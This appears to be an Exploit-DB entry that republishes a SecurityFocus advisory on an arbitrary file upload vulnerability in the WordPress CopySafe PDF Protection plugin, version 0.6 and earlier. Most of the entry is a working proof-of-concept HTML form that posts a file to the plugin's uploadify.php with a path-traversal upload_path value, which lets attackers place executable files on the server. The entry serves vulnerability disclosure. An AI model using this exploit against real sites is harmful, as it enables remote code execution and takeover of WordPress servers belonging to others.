WordPress CopySafe PDF Protection Plugin Arbitrary File Upload Vulnerability

2014-07-14T00:00:00
ID EDB-ID:39254
Type exploitdb
Reporter Jagriti Sahu
Modified 2014-07-14T00:00:00

Description

WordPress CopySafe PDF Protection Plugin Arbitrary File Upload Vulnerability. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/68656/info

The CopySafe PDF Protection plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

CopySafe PDF Protection 0.6 and prior are vulnerable. 

<form 
action="http://www.example.com/wp-content/plugins/wp-copysafe-pdf/lib/uploadify/uploadify.php" 
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="wpcsp_file" ><br>
<input type=text name="upload_path" value="../../../../uploads/">
<input type="submit" name="submit" value="Submit">
</form>